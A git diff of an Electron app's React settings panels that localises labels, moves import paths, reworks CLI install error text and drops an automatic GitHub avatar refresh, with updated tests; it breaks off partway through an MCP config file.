diff --git a/src/renderer/src/components/settings/cli/install/cli-install-failure.ts b/src/renderer/src/components/settings/cli/install/cli-install-failure.ts
index a0c7ff88fc3..4fcf2c65778 100644
--- a/src/renderer/src/components/settings/cli/install/cli-install-failure.ts
+++ b/src/renderer/src/components/settings/cli/install/cli-install-failure.ts
@@ -1,16 +1,27 @@
 import type { CliInstallStatus } from '../../../../../../shared/cli-install-types'
+import { formatCliUserFacingDetail } from '@/lib/cli-emulator-user-facing-copy'
 
-// Strip Electron’s invoke wrapper to expose the installer’s own reason and remedy.
+// Why: Electron re-wraps a rejected `ipcMain.handle` as
+// `Error invoking remote method '<channel>': Error: <message>`, so the installer's
+// own sentence is buried behind transport noise by the time it reaches the panel.
 const IPC_INVOKE_PREFIX = /^Error invoking remote method '[^']*':\s*(?:Error:\s*)?/
 
 export type CliInstallFailure = {
-  /** The main-process reason verbatim; installer throws already embed their own remedy. */
+  /** Localized when the main-process reason matches a stable CLI detail. */
   reason: string
   /** Set only for a conflict, whose status detail names the path but stops short of the remedy. */
   conflictCommandPath: string | null
 }
 
-/** Treat resolved-but-unregistered calls as failure while retaining main’s supplied reason. */
+function userFacingReason(reason: string): string {
+  return formatCliUserFacingDetail(reason) || reason
+}
+
+/**
+ * A registration call that resolved without landing. The main process already
+ * reported why in `detail`, so this only decides that it failed — it does not
+ * re-classify the reason.
+ */
 export function readCliInstallFailure(
   status: CliInstallStatus,
   fallbackReason: string
@@ -18,8 +29,9 @@ export function readCliInstallFailure(
   if (status.state === 'installed') {
     return null
   }
+  const reason = status.detail?.trim()
   return {
-    reason: status.detail?.trim() || fallbackReason,
+    reason: reason ? userFacingReason(reason) : fallbackReason,
     conflictCommandPath: status.state === 'conflict' ? status.commandPath : null
   }
 }
@@ -27,8 +39,9 @@ export function readCliInstallFailure(
 /** A registration call that threw: unwrap the transport prefix off the installer's message. */
 export function readCliInstallRejection(error: unknown, fallbackReason: string): CliInstallFailure {
   const message = error instanceof Error ? error.message : String(error)
+  const reason = message.replace(IPC_INVOKE_PREFIX, '').trim()
   return {
-    reason: message.replace(IPC_INVOKE_PREFIX, '').trim() || fallbackReason,
+    reason: reason ? userFacingReason(reason) : fallbackReason,
     conflictCommandPath: null
   }
 }
diff --git a/src/renderer/src/components/settings/editor/GeneralEditorSettingsSection.tsx b/src/renderer/src/components/settings/editor/GeneralEditorSettingsSection.tsx
index 0814b8e72fc..bd99a2df236 100644
--- a/src/renderer/src/components/settings/editor/GeneralEditorSettingsSection.tsx
+++ b/src/renderer/src/components/settings/editor/GeneralEditorSettingsSection.tsx
@@ -1,13 +1,12 @@
 import { GENERAL_SETTING_ANCHORS } from '../general/general-setting-anchors'
-import type React from 'react'
 import { useState } from 'react'
-import type { GlobalSettings } from '../../../../../shared/global-settings-types'
+import type React from 'react'
 import {
   DEFAULT_EDITOR_AUTO_SAVE_DELAY_MS,
   MAX_EDITOR_AUTO_SAVE_DELAY_MS,
   MIN_EDITOR_AUTO_SAVE_DELAY_MS
 } from '../../../../../shared/constants'
-import { clampNumber } from '@/lib/terminal-theme'
+import { clampNumber } from '@/lib/terminal/appearance/terminal-theme'
 import { Input } from '../../ui/input'
 import { Label } from '../../ui/label'
 import { SearchableSetting } from '../section-layout/SearchableSetting'
@@ -28,6 +27,7 @@ import {
   updateAutoSaveDelayDraftState
 } from './auto-save-delay-draft'
 import { SettingsGroup } from '../section-layout/SettingsGroup'
+import type { GlobalSettings } from '../../../../../shared/global-settings-types'
 
 type GeneralEditorSettingsSectionProps = {
   settings: GlobalSettings
diff --git a/src/renderer/src/components/settings/form-controls/SettingsFormControls.tsx b/src/renderer/src/components/settings/form-controls/SettingsFormControls.tsx
index 23928294aba..9c8047f0bd4 100644
--- a/src/renderer/src/components/settings/form-controls/SettingsFormControls.tsx
+++ b/src/renderer/src/components/settings/form-controls/SettingsFormControls.tsx
@@ -1,12 +1,12 @@
 // @protected-copy: preserve copy used by security settings.
-import type React from 'react'
 import { useState } from 'react'
+import type React from 'react'
 import { Input } from '../../ui/input'
 import { Label } from '../../ui/label'
 import { Tooltip, TooltipContent, TooltipTrigger } from '../../ui/tooltip'
 import { Switch } from '../../ui/switch'
 import { SettingsDisabledControlTooltip } from './SettingsDisabledControlTooltip'
-import { normalizeColor } from '@/lib/terminal-theme'
+import { normalizeColor } from '@/lib/terminal/appearance/terminal-theme'
 import { cn } from '@/lib/class-names'
 import { useTranslate } from '@/i18n/use-translate'
 
diff --git a/src/renderer/src/components/settings/general/GeneralPane.navigation.test.tsx b/src/renderer/src/components/settings/general/GeneralPane.navigation.test.tsx
index e290b7aaa31..43868945e44 100644
--- a/src/renderer/src/components/settings/general/GeneralPane.navigation.test.tsx
+++ b/src/renderer/src/components/settings/general/GeneralPane.navigation.test.tsx
@@ -119,31 +119,6 @@ function renderNavigationHarness({
   return render(<NavigationHarness {...props} />)
 }
 
-it('finds controls across General destinations and opens the actual setting for editing', async () => {
-  const onWrite = vi.fn()
-  const scroll = vi.spyOn(HTMLElement.prototype, 'scrollIntoView')
-  renderNavigationHarness({ onWrite })
-  expect(screen.getByRole('button', { name: /Workspace directory/i })).toBeTruthy()
-  expect(screen.getByRole('button', { name: /External worktrees/i })).toBeTruthy()
-  expect(screen.getByRole('switch', { name: 'Deleting a workspace' })).toBeTruthy()
-  fireEvent.change(screen.getByRole('textbox', { name: 'Search settings' }), {
-    target: { value: 'folder per project' }
-  })
-  fireEvent.click(await screen.findByRole('button', { name: /Folder per project/ }))
-  expect(await screen.findByRole('switch', { name: 'Folder per project' })).toBeTruthy()
-  fireEvent.change(screen.getByRole('textbox', { name: 'Search settings' }), {
-    target: { value: 'minimap' }
-  })
-  const result = await screen.findByRole('button', { name: /Minimap/ })
-  fireEvent.click(result)
-  const control = await screen.findByRole('switch', { name: 'Minimap' })
-  await waitFor(() =>
-    expect(scroll.mock.contexts).toContain(control.closest('#general-editor-minimap'))
-  )
-  fireEvent.click(control)
-  expect(onWrite).toHaveBeenCalledWith({ editorMinimapEnabled: false })
-})
-
 it('opens an old subsection link from another child with a conflicting query, including repeated selection', async () => {
   const scroll = vi.spyOn(HTMLElement.prototype, 'scrollIntoView')
   const { container } = renderNavigationHarness({ initialQuery: 'font' })
diff --git a/src/renderer/src/components/settings/host-scope/SettingsHostScopePicker.tsx b/src/renderer/src/components/settings/host-scope/SettingsHostScopePicker.tsx
index df1685248fe..a7543518cbb 100644
--- a/src/renderer/src/components/settings/host-scope/SettingsHostScopePicker.tsx
+++ b/src/renderer/src/components/settings/host-scope/SettingsHostScopePicker.tsx
@@ -1,5 +1,6 @@
 import { useTranslate } from '@/i18n/use-translate'
 import { getLocalExecutionHostLabel } from '../../../../../shared/execution-host'
+import { translateLocalExecutionHostLabel } from '../../sidebar/execution-host-label'
 import type { PublicKnownRuntimeEnvironment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments'
 import { runtimeTargetEnvironmentId } from '@/runtime/rpc/targets/runtime-client-target'
 import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
@@ -42,7 +43,7 @@ export function SettingsHostScopePicker({
   const options: SettingsSearchableSelectOption[] = [
     {
       value: LOCAL_VALUE,
-      label: getLocalExecutionHostLabel()
+      label: translateLocalExecutionHostLabel(getLocalExecutionHostLabel())
     },
     ...environments
       .filter((environment) => scope.available || environment.id !== scopeEnvironmentId)
diff --git a/src/renderer/src/components/settings/navigation/SettingsSidebar.tsx b/src/renderer/src/components/settings/navigation/SettingsSidebar.tsx
index 6ebafd1ff2b..81bbba0985d 100644
--- a/src/renderer/src/components/settings/navigation/SettingsSidebar.tsx
+++ b/src/renderer/src/components/settings/navigation/SettingsSidebar.tsx
@@ -138,7 +138,11 @@ function SettingsSetupGuideNavRow({
         done={progress.doneCount}
         total={progress.total}
         sizeClassName="size-4"
-        tooltipLabel={`${progress.doneCount}/${progress.total} complete`}
+        tooltipLabel={t(
+          'auto.components.settings.SettingsSidebar.progressComplete',
+          '{{value0}}/{{value1}} complete',
+          { value0: progress.doneCount, value1: progress.total }
+        )}
       />
       <span className="flex min-w-0 flex-1 flex-col">
         <span className="truncate text-[13px] font-medium leading-4">
diff --git a/src/renderer/src/components/settings/notifications/NotificationHostToggles.tsx b/src/renderer/src/components/settings/notifications/NotificationHostToggles.tsx
index 3a08b8ec250..d2dd20d0f39 100644
--- a/src/renderer/src/components/settings/notifications/NotificationHostToggles.tsx
+++ b/src/renderer/src/components/settings/notifications/NotificationHostToggles.tsx
@@ -1,3 +1,4 @@
+import { useMemo } from 'react'
 import { ChevronDown, Server } from 'lucide-react'
 import type { NotificationSourceId } from '../../../../../shared/notification-source'
 import { Collapsible, CollapsibleContent, CollapsibleTrigger } from '../../ui/collapsible'
@@ -6,6 +7,7 @@ import { NotificationSettingToggle } from './NotificationSettingToggle'
 import { useNotificationSourceOptions } from './use-notification-source-options'
 import { pickerExecutionHosts } from '../../../../../shared/execution-host/managed-orcad-execution-host'
 import { useTranslate } from '@/i18n/use-translate'
+import { translateHostDisplayLabel } from '../../sidebar/execution-host-label'
 import { useBoundedHostRows } from '../../host-picker/use-bounded-host-rows'
 import { HostListSearchField } from '../../host-picker/HostListSearchField'
 import { HostListOverflowNote } from '../../host-picker/HostListOverflowNote'
@@ -23,7 +25,15 @@ export function NotificationHostToggles({
   onChange
 }: NotificationHostTogglesProps): React.JSX.Element | null {
   const t = useTranslate()
-  const hostOptions = pickerExecutionHosts(useNotificationSourceOptions())
+  const sourceOptions = useNotificationSourceOptions()
+  const hostOptions = useMemo(
+    () =>
+      pickerExecutionHosts(sourceOptions).map((host) => ({
+        ...host,
+        searchText: translateHostDisplayLabel(host, t)
+      })),
+    [sourceOptions, t]
+  )
   const mutedSourceIds = new Set(mutedNotificationSourceIds)
   const isMuted = (host: (typeof hostOptions)[number]): boolean =>
     [host.id, ...(host.aliasHostIds ?? [])].some((id) => mutedSourceIds.has(id))
@@ -71,7 +81,7 @@ export function NotificationHostToggles({
             {rows.shown.map((host) => (
               <NotificationSettingToggle
                 key={host.id}
-                label={host.label}
+                label={translateHostDisplayLabel(host, t)}
                 description={host.detail}
                 checked={!isMuted(host)}
                 disabled={disabled}
diff --git a/src/renderer/src/components/settings/orchestration/OrchestrationPane.tsx b/src/renderer/src/components/settings/orchestration/OrchestrationPane.tsx
index 95bf41f58a2..338dc1776e5 100644
--- a/src/renderer/src/components/settings/orchestration/OrchestrationPane.tsx
+++ b/src/renderer/src/components/settings/orchestration/OrchestrationPane.tsx
@@ -6,7 +6,7 @@ import { ORCHESTRATION_SKILL_INSTALL_COMMAND } from '@/lib/skills/installation/a
 import { ArrowRightLeft, GitBranch, ListChecks, Workflow, type LucideIcon } from 'lucide-react'
 import { ORCHESTRATION_SKILL_NAME } from '@/lib/skills/installation/agent-feature-skill-names'
 import type { SkillUsageExample } from '@/lib/skills/examples/skill-usage-example'
-import { getOrchestrationUsageExamples } from '@/lib/orchestration-usage-examples'
+import { getOrchestrationUsageExamples } from '@/components/orchestration/setup/orchestration-usage-examples'
 import {
   GLOBAL_AGENT_SKILL_SOURCE_KINDS,
   useInstalledAgentSkill
@@ -22,7 +22,7 @@ import { SkillUsageExamplesSection } from '../../skills/examples/SkillUsageExamp
 import { useTranslate } from '@/i18n/use-translate'
 import type { GlobalSettings } from '../../../../../shared/global-settings-types'
 import { resolveNestedWorkerMaxDepth } from '../../../../../shared/orchestration/workers/nested-worker-depth'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 import { NumberField } from '../form-controls/SettingsFormControls'
 import {
   getNestedWorkerDepthDescription,
diff --git a/src/renderer/src/components/settings/privacy/PrivacyPane.tsx b/src/renderer/src/components/settings/privacy/PrivacyPane.tsx
index 01edc82443c..ab46ca503a9 100644
--- a/src/renderer/src/components/settings/privacy/PrivacyPane.tsx
+++ b/src/renderer/src/components/settings/privacy/PrivacyPane.tsx
@@ -112,7 +112,6 @@ export function PrivacyPane({ settings }: PrivacyPaneProps): React.JSX.Element {
             >
               {t('auto.components.settings.PrivacyPane.77410e0566', 'Privacy policy')}
             </button>
-            .
           </p>
         </div>
         <Switch
diff --git a/src/renderer/src/components/settings/quick-commands/QuickCommandsPane.tsx b/src/renderer/src/components/settings/quick-commands/QuickCommandsPane.tsx
index f285cf96aec..d7697fef8ca 100644
--- a/src/renderer/src/components/settings/quick-commands/QuickCommandsPane.tsx
+++ b/src/renderer/src/components/settings/quick-commands/QuickCommandsPane.tsx
@@ -6,9 +6,9 @@ import {
   createTerminalQuickCommandDraft,
   TerminalQuickCommandDialog
 } from '@/components/terminal-quick-commands/TerminalQuickCommandDialog'
-import { searchTerminalQuickCommands } from '@/lib/terminal-quick-command-search'
+import { searchTerminalQuickCommands } from '@/lib/terminal/quick-commands/terminal-quick-command-search'
 import { useAppStore } from '../../../store/index'
-import { getTerminalQuickCommandHostPromptMaxLength } from '@/lib/terminal-quick-command-host-prompt-limit'
+import { getTerminalQuickCommandHostPromptMaxLength } from '@/lib/terminal/quick-commands/terminal-quick-command-host-prompt-limit'
 import { Button } from '../../ui/button'
 import { useConfirmationDialog } from '@/components/confirmation-dialog-context'
 import { getSettingOwnershipSummary } from '../page/setting-ownership'
diff --git a/src/renderer/src/components/settings/quick-commands/QuickCommandsToolbar.tsx b/src/renderer/src/components/settings/quick-commands/QuickCommandsToolbar.tsx
index 1d80796cdff..526644c852d 100644
--- a/src/renderer/src/components/settings/quick-commands/QuickCommandsToolbar.tsx
+++ b/src/renderer/src/components/settings/quick-commands/QuickCommandsToolbar.tsx
@@ -6,12 +6,13 @@ import { Button } from '../../ui/button'
 import { Input } from '../../ui/input'
 import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '../../ui/select'
 import { useTranslate } from '@/i18n/use-translate'
+import { translateHostDisplayLabel } from '../../sidebar/execution-host-label'
 import { QuickCommandsScopeFilter } from './QuickCommandsScopeFilter'
 
 type QuickCommandsToolbarProps = {
   query: string
   setQuery: (query: string) => void
-  hostOptions: readonly { id: ExecutionHostId; label: string }[]
+  hostOptions: readonly { id: ExecutionHostId; label: string; isDefaultLocalLabel?: boolean }[]
   showHostSelect: boolean
   selectedHostId: ExecutionHostId
   onHostChange: (hostId: ExecutionHostId) => void
@@ -91,7 +92,7 @@ export function QuickCommandsToolbar({
           <SelectContent>
             {hostOptions.map((host) => (
               <SelectItem key={host.id} value={host.id}>
-                {host.label}
+                {translateHostDisplayLabel(host)}
               </SelectItem>
             ))}
           </SelectContent>
diff --git a/src/renderer/src/components/settings/repository/RepositoryAgentTrustSection.fixture.tsx b/src/renderer/src/components/settings/repository/RepositoryAgentTrustSection.fixture.tsx
index a66f2bb437b..8396190cc78 100644
--- a/src/renderer/src/components/settings/repository/RepositoryAgentTrustSection.fixture.tsx
+++ b/src/renderer/src/components/settings/repository/RepositoryAgentTrustSection.fixture.tsx
@@ -28,7 +28,6 @@ function fixture(decision: AgentWorkspaceTrustDecision | undefined, globalEnable
   })
 }
 
-export const undecided = fixture(undefined)
 export const preTrust = fixture('pre-trust')
 export const agentAsks = fixture('agent-asks')
 export const globalOff = fixture('pre-trust', false)
diff --git a/src/renderer/src/components/settings/repository/RepositoryAgentTrustSection.tsx b/src/renderer/src/components/settings/repository/RepositoryAgentTrustSection.tsx
index 279cd432107..480ae0404af 100644
--- a/src/renderer/src/components/settings/repository/RepositoryAgentTrustSection.tsx
+++ b/src/renderer/src/components/settings/repository/RepositoryAgentTrustSection.tsx
@@ -30,7 +30,7 @@ export function RepositoryAgentTrustSection({
     (state) => state.settings?.agentWorkspaceTrustEnabled !== false
   )
   const entry = getRepositoryAgentTrustSearchEntry()
-  const value = repo.agentWorkspaceTrust ?? 'undecided'
+  const value = repo.agentWorkspaceTrust ?? 'pre-trust'
   return (
     <SearchableSetting
       title={entry.title}
@@ -43,10 +43,10 @@ export function RepositoryAgentTrustSection({
         <div className="text-sm font-semibold">{entry.title}</div>
         <p className="text-xs text-muted-foreground">{entry.description}</p>
       </div>
-      <SettingsSegmentedControl<AgentWorkspaceTrustDecision | 'undecided'>
+      <SettingsSegmentedControl<AgentWorkspaceTrustDecision>
         value={value}
         onChange={(next) => {
-          if (next !== 'undecided' && next !== value) {
+          if (next !== value) {
             void updateRepo(repo.id, { agentWorkspaceTrust: next })
           }
         }}
@@ -59,8 +59,6 @@ export function RepositoryAgentTrustSection({
       />
       {!globalTrustEnabled ? (
         <p className="text-xs text-muted-foreground">{copy.settingGlobalOff()}</p>
-      ) : value === 'undecided' ? (
-        <p className="text-xs text-muted-foreground">{copy.settingUndecided()}</p>
       ) : null}
     </SearchableSetting>
   )
diff --git a/src/renderer/src/components/settings/repository/hooks/RepositoryHookScriptSetting.tsx b/src/renderer/src/components/settings/repository/hooks/RepositoryHookScriptSetting.tsx
index a8ad6d7855c..7526d747e5d 100644
--- a/src/renderer/src/components/settings/repository/hooks/RepositoryHookScriptSetting.tsx
+++ b/src/renderer/src/components/settings/repository/hooks/RepositoryHookScriptSetting.tsx
@@ -3,7 +3,7 @@ import { AlertTriangle, Plus } from 'lucide-react'
 import { Button } from '../../../ui/button'
 import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
-import { getRepositoryHookScriptTextareaRows } from '@/lib/script-textarea-rows'
+import { getRepositoryHookScriptTextareaRows } from '@/components/script-editor/rows/script-textarea-rows'
 import type {
   LocalCommandSourcePolicyNotice,
   LocalHookField
diff --git a/src/renderer/src/components/settings/repository/hosts/repository-host-setup-options.ts b/src/renderer/src/components/settings/repository/hosts/repository-host-setup-options.ts
index 55c3b8a2721..3ab63847c6d 100644
--- a/src/renderer/src/components/settings/repository/hosts/repository-host-setup-options.ts
+++ b/src/renderer/src/components/settings/repository/hosts/repository-host-setup-options.ts
@@ -9,6 +9,7 @@ import type {
 } from '../../../../../../shared/project-types'
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
+import { translateHostDisplayLabel } from '../../../sidebar/execution-host-label'
 import { getHostSetupUnavailableDetail } from '@/lib/workspace/creation/project-host-setup-options'
 import { pickerExecutionHosts } from '../../../../../../shared/execution-host/managed-orcad-execution-host'
 
@@ -62,7 +63,7 @@ export function buildSetupHostOptions(
       const canUsePathActions = host.health === 'local' || host.health === 'available'
       return {
         id: host.id,
-        label: host.label || getExecutionHostLabel(host.id),
+        label: host.label ? translateHostDisplayLabel(host) : getExecutionHostLabel(host.id),
         detail:
           unavailableDetail ??
           (canUsePathActions
diff --git a/src/renderer/src/components/settings/repository/identity/RepositoryIconColorSection.tsx b/src/renderer/src/components/settings/repository/identity/RepositoryIconColorSection.tsx
index 4a414993e5a..dd95b36d353 100644
--- a/src/renderer/src/components/settings/repository/identity/RepositoryIconColorSection.tsx
+++ b/src/renderer/src/components/settings/repository/identity/RepositoryIconColorSection.tsx
@@ -63,7 +63,7 @@ export function RepositoryIconColorSection({
                 )
           }
           selected={!isPresetBadgeColor}
-          triggerLabel="Custom"
+          triggerLabel={t('auto.components.settings.RepositoryIconPicker.custom', 'Custom')}
           showHexInTrigger={!isPresetBadgeColor}
           className="h-7 px-2"
         />
diff --git a/src/renderer/src/components/settings/repository/identity/RepositoryIconPicker.github-avatar-refresh.test.tsx b/src/renderer/src/components/settings/repository/identity/RepositoryIconPicker.github-avatar-refresh.test.tsx
index c8cd340152e..f3caac16cba 100644
--- a/src/renderer/src/components/settings/repository/identity/RepositoryIconPicker.github-avatar-refresh.test.tsx
+++ b/src/renderer/src/components/settings/repository/identity/RepositoryIconPicker.github-avatar-refresh.test.tsx
@@ -4,6 +4,7 @@ import { act } from 'react'
 import { createRoot, type Root } from 'react-dom/client'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import type { Repo } from '../../../../../../shared/repo-types'
+import { getProjectIdentityKey } from '../../../../../../shared/project-host-setup-projection'
 import { RepositoryIconPicker } from './RepositoryIconPicker'
 
 vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({
@@ -15,7 +16,9 @@ vi.mock('./RepositoryIconColorSection', () => ({
 }))
 
 vi.mock('./RepositoryIconTabs', () => ({
-  RepositoryIconTabs: () => null
+  RepositoryIconTabs: ({ onUseGitHubAvatar }: { onUseGitHubAvatar: () => void }) => (
+    <button data-avatar-action onClick={onUseGitHubAvatar} />
+  )
 }))
 
 const apiMocks = {
@@ -48,7 +51,7 @@ async function flushEffects(): Promise<void> {
   })
 }
 
-describe('RepositoryIconPicker GitHub avatar refresh', () => {
+describe('RepositoryIconPicker GitHub identity', () => {
   beforeEach(() => {
     apiMocks.repoSlug.mockReset()
     apiMocks.repoUpstream.mockReset()
@@ -63,27 +66,72 @@ describe('RepositoryIconPicker GitHub avatar refresh', () => {
     document.body.replaceChildren()
   })
 
-  it('does not clobber a fork identity when the live upstream lookup fails offline', async () => {
-    const updateRepo = vi.fn()
-    // A fork whose avatar tracks its parent org, resolved earlier while online.
-    const repo = makeRepo({
-      upstream: { owner: 'stablyai', repo: 'orca' },
-      repoIcon: {
-        type: 'image',
-        src: 'https://github.com/stablyai.png?size=64',
-        source: 'github',
-        label: 'stablyai/orca'
-      }
+  it.each([
+    { state: 'selected origin', upstream: { owner: 'brennanb2025', repo: 'learnsomething' } },
+    { state: 'defined nonfork', upstream: null },
+    { state: 'unavailable metadata', upstream: undefined }
+  ])('preserves saved $state when settings opens and reopens', async ({ upstream }) => {
+    const original = makeRepo({
+      upstream,
+      gitRemoteIdentity: {
+        canonicalKey: 'github.com/brennanb2025/learnsomething',
+        remoteName: 'origin',
+        remoteUrl: 'https://github.com/brennanb2025/learnsomething.git'
+      },
+      ...(upstream !== undefined
+        ? {
+            repoIcon: {
+              type: 'image',
+              src: 'https://github.com/echavemann.png?size=64',
+              source: 'github',
+              label: upstream === null ? 'brennanb2025/learnsomething' : 'echavemann/learnsomething'
+            } as const
+          }
+        : {})
     })
-    // Failed upstream probes are ambiguous; never replace a known parent identity with same-name origin.
-    apiMocks.repoUpstream.mockResolvedValueOnce(null)
-    apiMocks.repoSlug.mockResolvedValueOnce({ owner: 'parkerrex', repo: 'orca' })
+    let saved: Repo = JSON.parse(JSON.stringify(original))
+    apiMocks.repoUpstream.mockResolvedValue(
+      upstream === undefined ? null : { owner: 'echavemann', repo: 'learnsomething' }
+    )
+    apiMocks.repoSlug.mockResolvedValue({ owner: 'brennanb2025', repo: 'learnsomething' })
+    const updateRepo = (_id: string, updates: Partial<Repo>) => {
+      saved = { ...saved, ...updates }
+    }
 
-    act(() => {
-      root.render(<RepositoryIconPicker repo={repo} updateRepo={updateRepo} />)
+    act(() => root.render(<RepositoryIconPicker repo={saved} updateRepo={updateRepo} />))
+    await flushEffects()
+    act(() => root.unmount())
+    saved = JSON.parse(JSON.stringify(saved))
+    root = createRoot(container)
+    act(() => root.render(<RepositoryIconPicker repo={saved} updateRepo={updateRepo} />))
+    await flushEffects()
+
+    expect(saved.upstream).toEqual(upstream)
+    expect(saved.repoIcon).toEqual(original.repoIcon)
+    expect(getProjectIdentityKey(saved)).toBe('github:brennanb2025/learnsomething')
+  })
+
+  it('still applies a live GitHub avatar when the user requests it', async () => {
+    let saved = makeRepo({ upstream: null })
+    apiMocks.repoUpstream.mockResolvedValue({ owner: 'echavemann', repo: 'learnsomething' })
+    apiMocks.repoSlug.mockResolvedValue({ owner: 'brennanb2025', repo: 'learnsomething' })
+    const updateRepo = (_id: string, updates: Partial<Repo>) => {
+      saved = { ...saved, ...updates }
+    }
+    act(() => root.render(<RepositoryIconPicker repo={saved} updateRepo={updateRepo} />))
+    await flushEffects()
+    await act(async () => {
+      container.querySelector<HTMLButtonElement>('[data-avatar-action]')?.click()
     })
     await flushEffects()
 
-    expect(updateRepo).not.toHaveBeenCalled()
+    expect(saved.upstream).toEqual({ owner: 'echavemann', repo: 'learnsomething' })
+    expect(saved.repoIcon).toEqual({
+      type: 'image',
+      src: 'https://github.com/echavemann.png?size=64',
+      source: 'github',
+      label: 'echavemann/learnsomething'
+    })
+    expect(getProjectIdentityKey(saved)).toBe('github:echavemann/learnsomething')
   })
 })
diff --git a/src/renderer/src/components/settings/repository/identity/RepositoryIconPicker.tsx b/src/renderer/src/components/settings/repository/identity/RepositoryIconPicker.tsx
index 7d94a3960bd..ab6dd622a82 100644
--- a/src/renderer/src/components/settings/repository/identity/RepositoryIconPicker.tsx
+++ b/src/renderer/src/components/settings/repository/identity/RepositoryIconPicker.tsx
@@ -1,4 +1,4 @@
-import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+import { useCallback, useMemo, useState } from 'react'
 import { toast } from 'sonner'
 import { RotateCcw } from 'lucide-react'
 import type { Repo } from '../../../../../../shared/repo-types'
@@ -20,10 +20,37 @@ import { RepositoryIconColorSection } from './RepositoryIconColorSection'
 import { RepositoryIconTabs } from './RepositoryIconTabs'
 import {
   buildRepositoryGitHubAvatarUpdate,
-  resolveRepositoryGitHubAvatar,
-  resolveRepositoryUpstreamLive
+  resolveRepositoryGitHubAvatar
 } from '../../../../runtime/repository-github/repository-icon-github'
-import { useTranslate } from '@/i18n/use-translate'
+import { useTranslate, type Translate } from '@/i18n/use-translate'
+
+function getRepositoryIconLabel(repoIcon: RepoIcon | null | undefined, t: Translate): string {
+  if (repoIcon?.type === 'image') {
+    if (repoIcon.source === 'github') {
+      return t('auto.components.settings.RepositoryIconPicker.githubAvatar', 'GitHub avatar')
+    }
+    return (
+      repoIcon.label ??
+      t('auto.components.settings.RepositoryIconPicker.customImage', 'Custom image')
+    )
+  }
+  if (repoIcon?.type === 'emoji') {
+    return t('auto.components.settings.RepositoryIconPicker.emojiDescription', '{{emoji}} emoji', {
+      emoji: repoIcon.emoji
+    })
+  }
+  if (repoIcon?.type === 'lucide') {
+    const label =
+      getRepoLucideIconOptions().find((option) => option.name === repoIcon.name)?.label ??
+      t('auto.components.repo.repo.icon.bed2674f9d', 'Folder')
+    return t(
+      'auto.components.settings.RepositoryIconPicker.lucideDescription',
+      '{{label}} icon with repo color',
+      { label }
+    )
+  }
+  return t('auto.components.settings.RepositoryIconPicker.defaultIcon', 'Default')
+}
 
 export function RepositoryIconPicker({
   repo,
@@ -49,33 +76,11 @@ export function RepositoryIconPicker({
     [ownerEnvironmentId]
   )
 
-  const currentIconLabel = useMemo(() => {
-    if (repo.repoIcon?.type === 'image') {
-      if (repo.repoIcon.source === 'github') {
-        return 'GitHub avatar'
-      }
-      return repo.repoIcon.label ?? 'Custom image'
-    }
-    if (repo.repoIcon?.type === 'emoji') {
-      return `${repo.repoIcon.emoji} emoji`
-    }
-    if (repo.repoIcon?.type === 'lucide') {
-      const label =
-        getRepoLucideIconOptions().find((option) => option.name === selectedLucideName)?.label ??
-        'Folder'
-      return `${label} icon with repo color`
-    }
-    return 'Default'
-  }, [repo.repoIcon, selectedLucideName])
+  const currentIconLabel = getRepositoryIconLabel(repo.repoIcon, t)
 
   const setIcon = (repoIcon: RepoIcon | null) => updateRepo(repo.id, { repoIcon })
   const setBadgeColor = (badgeColor: string) => updateRepo(repo.id, { badgeColor })
 
-  const resolveUpstreamLive = useCallback(
-    () => resolveRepositoryUpstreamLive(runtimeTarget, repo),
-    [runtimeTarget, repo]
-  )
-
   const resolveGitHubAvatar = useCallback(
     (options?: { forceLive?: boolean }) =>
       resolveRepositoryGitHubAvatar(runtimeTarget, repo, options),
@@ -138,39 +143,6 @@ export function RepositoryIconPicker({
     }
   }
 
-  const githubIdentityRefreshedRef = useRef<string | null>(null)
-  useEffect(() => {
-    const hasGitHubAvatar = repo.repoIcon?.type === 'image' && repo.repoIcon.source === 'github'
-    const shouldRefresh = hasGitHubAvatar || repo.upstream === undefined
-    if (!shouldRefresh || githubIdentityRefreshedRef.current === repo.id) {
-      return
-    }
-    githubIdentityRefreshedRef.current = repo.id
-    let cancelled = false
-    void (async () => {
-      let updates: Partial<Repo> | null
-      try {
-        if (hasGitHubAvatar) {
-          // Stored GitHub avatar metadata can outlive transfers; refresh live only when opening affected repo settings.
-          const resolution = await resolveGitHubAvatar({ forceLive: true })
-          updates = buildRepositoryGitHubAvatarUpdate(repo, resolution)
-        } else {
-          const upstream = await resolveUpstreamLive()
-          updates = { upstream: upstream ?? null }
-        }
-      } catch {
-        return
-      }
-      if (cancelled || !mountedRef.current || !updates) {
-        return
-      }
-      updateRepo(repo.id, updates)
-    })()
-    return () => {
-      cancelled = true
-    }
-  }, [repo, resolveGitHubAvatar, resolveUpstreamLive, updateRepo, mountedRef])
-
   return (
     <div className="space-y-3">
       <div className="flex items-center gap-3">
diff --git a/src/renderer/src/components/settings/repository/mcp/McpConfigSection.tsx b/src/renderer/src/components/settings/repository/mcp/McpConfigSection.tsx
index c8f7e141945..7471d384686 100644
--- a/src/renderer/src/components/settings/repository/mcp/McpConfigSection.tsx
+++ b/src/renderer/src/components/settings/repository/mcp/McpConfigSection.tsx
@@ -2,8 +2,6 @@ import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
 import { AlertCircle, FileCode2, LoaderCircle, Plus, RefreshCw } from 'lucide-react'
 import { toast } from 'sonner'
 import { useMountedRef } from '@/hooks/useMountedRef'
-import type { Repo } from '../../../../../../shared/repo-types'
-import type { Worktree } from '../../../../../../shared/worktree/types'
 import { composeWorktreeId, getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id'
 import {
   getRepoExecutionHostId,
@@ -29,22 +27,22 @@ import { Button } from '../../../ui/button'
 import { isWindowsUserAgent } from '../../../../app-shell/platform/user-agent-platform'
 import { McpConfigFileRow } from './McpConfigFileRow'
 import { McpMissingConfigList } from './McpMissingConfigList'
-import {
-  type LoadedMcpConfigInspection,
-  loadMcpConfigInspections
-} from '../../../../runtime/mcp/configuration/mcp-config-inspection'
